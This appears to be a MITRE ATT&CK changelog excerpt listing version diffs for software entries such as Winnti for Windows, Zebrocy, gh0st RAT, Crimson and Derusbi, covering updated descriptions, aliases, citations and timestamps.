| external_references[5]['url'] | https://www.dragos.com/threat/dymalloy/ | https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments |
| x_mitre_version | 2.0 | 3.0 |
Current version: 3.0
Version changed from: 2.0 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Winnti for Windows](https://attack.mitre.org/software/S0141 | t | 1 | [Winnti for Windows](https://attack.mitre.org/software/S0141 |
| > | ) is a Trojan that has been used by multiple groups to carry | > | ) is a modular remote access Trojan (RAT) that has been used | ||
| > | out intrusions in varied regions from at least 2010 to 2016 | > | likely by multiple groups to carry out intrusions in variou | ||
| > | . One of the groups using this malware is referred to by the | > | s regions since at least 2010, including by one group referr | ||
| > | same name, [Winnti Group](https://attack.mitre.org/groups/G | > | ed to as the same name, [Winnti Group](https://attack.mitre. | ||
| > | 0044); however, reporting indicates a second distinct group, | > | org/groups/G0044).(Citation: Kaspersky Winnti April 2013)(Ci | ||
| > | [Axiom](https://attack.mitre.org/groups/G0001), also uses t | > | tation: Microsoft Winnti Jan 2017)(Citation: Novetta Winnti | ||
| > | he malware. (Citation: Kaspersky Winnti April 2013) (Citatio | > | April 2015)(Citation: 401 TRG Winnti Umbrella May 2018). The | ||
| > | n: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti Apri | > | Linux variant is tracked separately under [Winnti for Linux | ||
| > | l 2015) The Linux variant is tracked separately under [Winnt | > | ](https://attack.mitre.org/software/S0430).(Citation: Chroni | ||
| > | i for Linux](https://attack.mitre.org/software/S0430).(Citat | > | cle Winnti for Linux May 2019) | ||
| > | ion: Chronicle Winnti for Linux May 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-04 12:29:49.081000+00:00 | 2022-04-15 16:38:19.439000+00:00 |
| description | [Winnti for Windows](https://attack.mitre.org/software/S0141) is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, [Winnti Group](https://attack.mitre.org/groups/G0044); however, reporting indicates a second distinct group, [Axiom](https://attack.mitre.org/groups/G0001), also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015) The Linux variant is tracked separately under [Winnti for Linux](https://attack.mitre.org/software/S0430).(Citation: Chronicle Winnti for Linux May 2019) | [Winnti for Windows](https://attack.mitre.org/software/S0141) is a modular remote access Trojan (RAT) that has been used likely by multiple groups to carry out intrusions in various regions since at least 2010, including by one group referred to as the same name, [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: Kaspersky Winnti April 2013)(Citation: Microsoft Winnti Jan 2017)(Citation: Novetta Winnti April 2015)(Citation: 401 TRG Winnti Umbrella May 2018). The Linux variant is tracked separately under [Winnti for Linux](https://attack.mitre.org/software/S0430).(Citation: Chronicle Winnti for Linux May 2019) |
| external_references[1]['source_name'] | Kaspersky Winnti April 2013 | Microsoft Winnti Jan 2017 |
| external_references[1]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017. | Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017. |
| external_references[1]['url'] | https://securelist.com/winnti-more-than-just-a-game/37029/ | https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/ |
| external_references[2]['source_name'] | Microsoft Winnti Jan 2017 | Chronicle Winnti for Linux May 2019 |
| external_references[2]['description'] | Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017. | Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020. |
| external_references[2]['url'] | https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/ | https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a |
| external_references[3]['source_name'] | Novetta Winnti April 2015 | 401 TRG Winnti Umbrella May 2018 |
| external_references[3]['description'] | Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017. | Hegel, T. (2018, May 3). Burning Umbrella: An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Retrieved July 8, 2018. |
| external_references[3]['url'] | http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf | https://401trg.github.io/pages/burning-umbrella.html |
| external_references[4]['source_name'] | Chronicle Winnti for Linux May 2019 | Kaspersky Winnti April 2013 |
| external_references[4]['description'] | Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020. | Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017. |
| external_references[4]['url'] | https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a | https://securelist.com/winnti-more-than-just-a-game/37029/ |
| x_mitre_version | 2.0 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Novetta Winnti April 2015', 'description': 'Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.', 'url': 'http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf'} |
Current version: 3.0
Version changed from: 2.1 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Zebrocy](https://attack.mitre.org/software/S0251) is a Troj | t | 1 | [Zebrocy](https://attack.mitre.org/software/S0251) is a Troj |
| > | an that has been used by [APT28](https://attack.mitre.org/gr | > | an that has been used by [APT28](https://attack.mitre.org/gr | ||
| > | oups/G0007) since at least November 2015. The malware comes | > | oups/G0007) since at least November 2015. The malware comes | ||
| > | in several programming language variants, including C++, Del | > | in several programming language variants, including C++, Del | ||
| > | phi, AutoIt, C#, and VB.NET. (Citation: Palo Alto Sofacy 06- | > | phi, AutoIt, C#, VB.NET, and Golang. (Citation: Palo Alto So | ||
| > | 2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sof | > | facy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Un | ||
| > | acy Dec 2018) | > | it42 Sofacy Dec 2018)(Citation: CISA Zebrocy Oct 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 03:06:29.968000+00:00 | 2021-04-23 19:45:36.003000+00:00 |
| description | [Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, and VB.NET. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018) | [Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, VB.NET, and Golang. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: CISA Zebrocy Oct 2020) |
| external_references[6]['source_name'] | CyberScoop APT28 Nov 2018 | CISA Zebrocy Oct 2020 |
| external_references[6]['description'] | Shoorbajee, Z. (2018, November 29). Accenture: Russian hackers using Brexit talks to disguise phishing lures. Retrieved July 16, 2019. | CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020. |
| external_references[6]['url'] | https://www.cyberscoop.com/apt28-brexit-phishing-accenture/ | https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b |
| external_references[7]['source_name'] | Accenture SNAKEMACKEREL Nov 2018 | CyberScoop APT28 Nov 2018 |
| external_references[7]['description'] | Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. | Shoorbajee, Z. (2018, November 29). Accenture: Russian hackers using Brexit talks to disguise phishing lures. Retrieved July 16, 2019. |
| external_references[7]['url'] | https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50 | https://www.cyberscoop.com/apt28-brexit-phishing-accenture/ |
| x_mitre_version | 2.1 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Accenture SNAKEMACKEREL Nov 2018', 'description': 'Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.', 'url': 'https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [FTP](https://attack.mitre.org/software/S0095) is a utility | t | 1 | [ftp](https://attack.mitre.org/software/S0095) is a utility |
| > | commonly available with operating systems to transfer inform | > | commonly available with operating systems to transfer inform | ||
| > | ation over the File Transfer Protocol (FTP). Adversaries can | > | ation over the File Transfer Protocol (FTP). Adversaries can | ||
| > | use it to transfer other tools onto a system or to exfiltra | > | use it to transfer other tools onto a system or to exfiltra | ||
| > | te data. (Citation: Wikipedia FTP) | > | te data.(Citation: Microsoft FTP)(Citation: Linux FTP) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:25:40.125000+00:00 | 2022-03-07 22:20:18.809000+00:00 |
| name | FTP | ftp |
| description | [FTP](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Wikipedia FTP) | [ftp](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.(Citation: Microsoft FTP)(Citation: Linux FTP) |
| external_references[1]['source_name'] | Wikipedia FTP | Microsoft FTP |
| external_references[1]['description'] | Wikipedia. (2016, June 15). File Transfer Protocol. Retrieved July 20, 2016. | Microsoft. (2021, July 21). ftp. Retrieved February 25, 2022. |
| external_references[1]['url'] | https://en.wikipedia.org/wiki/File_Transfer_Protocol | https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ftp |
| x_mitre_aliases[0] | FTP | ftp |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Linux FTP', 'description': 'N/A. (n.d.). ftp(1) - Linux man page. Retrieved February 25, 2022.', 'url': 'https://linux.die.net/man/1/ftp'} |
Current version: 3.0
Version changed from: 2.2 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [gh0st RAT](https://attack.mitre.org/software/S0032) is a re | t | 1 | [gh0st RAT](https://attack.mitre.org/software/S0032) is a re |
| > | mote access tool (RAT). The source code is public and it has | > | mote access tool (RAT). The source code is public and it has | ||
| > | been used by multiple groups. (Citation: FireEye Hacking Te | > | been used by multiple groups.(Citation: FireEye Hacking Tea | ||
| > | am)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgr | > | m)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgro | ||
| > | oup Gh0st April 2018) | > | up Gh0st April 2018) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html | |
| external_references | https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 00:51:36.275000+00:00 | 2022-04-15 21:09:32.843000+00:00 |
| description | [gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups. (Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018) | [gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups.(Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018) |
| external_references[2]['source_name'] | FireEye Hacking Team | Mydoor |
| external_references[2]['description'] | FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016. | (Citation: Novetta-Axiom) |
| external_references[3]['source_name'] | Arbor Musical Chairs Feb 2018 | Moudoor |
| external_references[3]['description'] | Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018. | (Citation: Novetta-Axiom) |
| external_references[4]['source_name'] | Nccgroup Gh0st April 2018 | FireEye Hacking Team |
| external_references[4]['description'] | Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018. | FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016. |
| external_references[4]['url'] | https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/ | https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html |
| x_mitre_version | 2.2 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Novetta-Axiom', 'description': 'Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.', 'url': 'http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf'} | |
| external_references | {'source_name': 'Nccgroup Gh0st April 2018', 'description': 'Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.', 'url': 'https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/'} | |
| external_references | {'source_name': 'Arbor Musical Chairs Feb 2018', 'description': 'Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.', 'url': 'https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/'} | |
| x_mitre_aliases | Mydoor | |
| x_mitre_aliases | Moudoor |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-28 23:41:03.616000+00:00 | 2021-04-21 02:04:30.060000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Aria-body](https://attack.mitre.org/software/S0456) is a cu | t | 1 | [Aria-body](https://attack.mitre.org/software/S0456) is a cu |
| > | stom backdoor that has been used by [Naikon](https://attack. | > | stom backdoor that has been used by [Naikon](https://attack. | ||
| > | mitre.org/groups/G0019).(Citation: CheckPoint Naikon May 202 | > | mitre.org/groups/G0019) since approximately 2017.(Citation: | ||
| > | 0) | > | CheckPoint Naikon May 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-03 21:52:44.685000+00:00 | 2021-08-19 17:58:43.342000+00:00 |
| description | [Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019).(Citation: CheckPoint Naikon May 2020) | [Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since approximately 2017.(Citation: CheckPoint Naikon May 2020) |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Arp](https://attack.mitre.org/software/S0099) displays info | t | 1 | [Arp](https://attack.mitre.org/software/S0099) displays and |
| > | rmation about a system's Address Resolution Protocol (ARP) c | > | modifies information about a system's Address Resolution Pro | ||
| > | ache. (Citation: TechNet Arp) | > | tocol (ARP) cache. (Citation: TechNet Arp) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-12-07 18:27:04.603000+00:00 |
| description | [Arp](https://attack.mitre.org/software/S0099) displays information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp) | [Arp](https://attack.mitre.org/software/S0099) displays and modifies information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp) |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:06:31.915000+00:00 | 2021-03-12 17:26:12.324000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack', 'ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-18 20:43:34.069000+00:00 | 2022-04-25 14:00:00.188000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-21 23:09:30.781000+00:00 | 2022-04-11 21:44:52.220000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-06 15:18:53.409000+00:00 | 2022-02-10 15:37:37.795000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:21:18.086000+00:00 | 2022-04-14 17:21:52.879000+00:00 |
| external_references[1]['source_name'] | CHOPSTICK | SPLM |
| external_references[1]['description'] | (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) | (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) |
| external_references[2]['source_name'] | Backdoor.SofacyX | Xagent |
| external_references[2]['description'] | (Citation: Symantec APT28 Oct 2018) | (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) |
| external_references[3]['source_name'] | SPLM | X-Agent |
| external_references[4]['source_name'] | Xagent | webhp |
| external_references[4]['description'] | (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) | (Citation: FireEye APT28 January 2017) |
| external_references[5]['source_name'] | X-Agent | CHOPSTICK |
| external_references[5]['description'] | (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) | (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) |
| external_references[6]['source_name'] | webhp | Backdoor.SofacyX |
| external_references[6]['description'] | (Citation: FireEye APT28 January 2017) | (Citation: Symantec APT28 Oct 2018) |
| external_references[7]['source_name'] | FireEye APT28 | ESET Sednit Part 2 |
| external_references[7]['description'] | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. | ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016. |
| external_references[7]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf |
| external_references[8]['source_name'] | ESET Sednit Part 2 | FireEye APT28 January 2017 |
| external_references[8]['description'] | ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016. | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. |
| external_references[8]['url'] | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
| external_references[9]['source_name'] | FireEye APT28 January 2017 | FireEye APT28 |
| external_references[9]['description'] | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. |
| external_references[9]['url'] | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf |
| x_mitre_version | 2.1 | 2.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-10 21:37:48.548000+00:00 | 2021-08-25 20:08:29.545000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 21:32:10.278000+00:00 | 2021-04-25 15:46:06.354000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-06 14:40:26.004000+00:00 | 2020-12-23 19:34:12.017000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Crimson](https://attack.mitre.org/software/S0115) is malwar | t | 1 | [Crimson](https://attack.mitre.org/software/S0115) is a remo |
| > | e used as part of a campaign known as Operation Transparent | > | te access Trojan that has been used by [Transparent Tribe](h | ||
| > | Tribe that targeted Indian diplomatic and military victims. | > | ttps://attack.mitre.org/groups/G0134) since at least 2016.(C | ||
| > | (Citation: Proofpoint Operation Transparent Tribe March 2016 | > | itation: Proofpoint Operation Transparent Tribe March 2016)( | ||
| > | ) | > | Citation: Kaspersky Transparent Tribe August 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:25:59.334000+00:00 | 2021-10-15 18:54:53.268000+00:00 |
| description | [Crimson](https://attack.mitre.org/software/S0115) is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016) | [Crimson](https://attack.mitre.org/software/S0115) is a remote access Trojan that has been used by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2016.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020) |
| external_references[1]['source_name'] | Proofpoint Operation Transparent Tribe March 2016 | MSIL/Crimson |
| external_references[1]['description'] | Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016. | (Citation: Proofpoint Operation Transparent Tribe March 2016) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Proofpoint Operation Transparent Tribe March 2016', 'description': 'Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.', 'url': 'https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf'} | |
| external_references | {'source_name': 'Kaspersky Transparent Tribe August 2020', 'description': 'Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.', 'url': 'https://securelist.com/transparent-tribe-part-1/98127/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Derusbi](https://attack.mitre.org/software/S0021) is malwar | t | 1 | [Derusbi](https://attack.mitre.org/software/S0021) is malwar |
| > | e used by multiple Chinese APT groups. (Citation: Novetta-Ax | > | e used by multiple Chinese APT groups.(Citation: Novetta-Axi | ||
| > | iom) (Citation: ThreatConnect Anthem) Both Windows and Linux | > | om)(Citation: ThreatConnect Anthem) Both Windows and Linux v | ||
| > | variants have been observed. (Citation: Fidelis Turbo) | > | ariants have been observed.(Citation: Fidelis Turbo) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:59:10.146000+00:00 | 2022-04-15 15:04:10.654000+00:00 |
| description | [Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups. (Citation: Novetta-Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo) | [Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups.(Citation: Novetta-Axiom)(Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed.(Citation: Fidelis Turbo) |
| external_references[1]['source_name'] | Derusbi | PHOTO |
| external_references[1]['description'] | (Citation: Novetta-Axiom) | (Citation: FireEye Periscope March 2018) |
| external_references[2]['source_name'] | PHOTO | Derusbi |
| external_references[2]['description'] | (Citation: FireEye Periscope March 2018) | (Citation: Novetta-Axiom) |
| external_references[3]['source_name'] | Novetta-Axiom | Fidelis Turbo |
| external_references[3]['description'] | Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014. | Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016. |
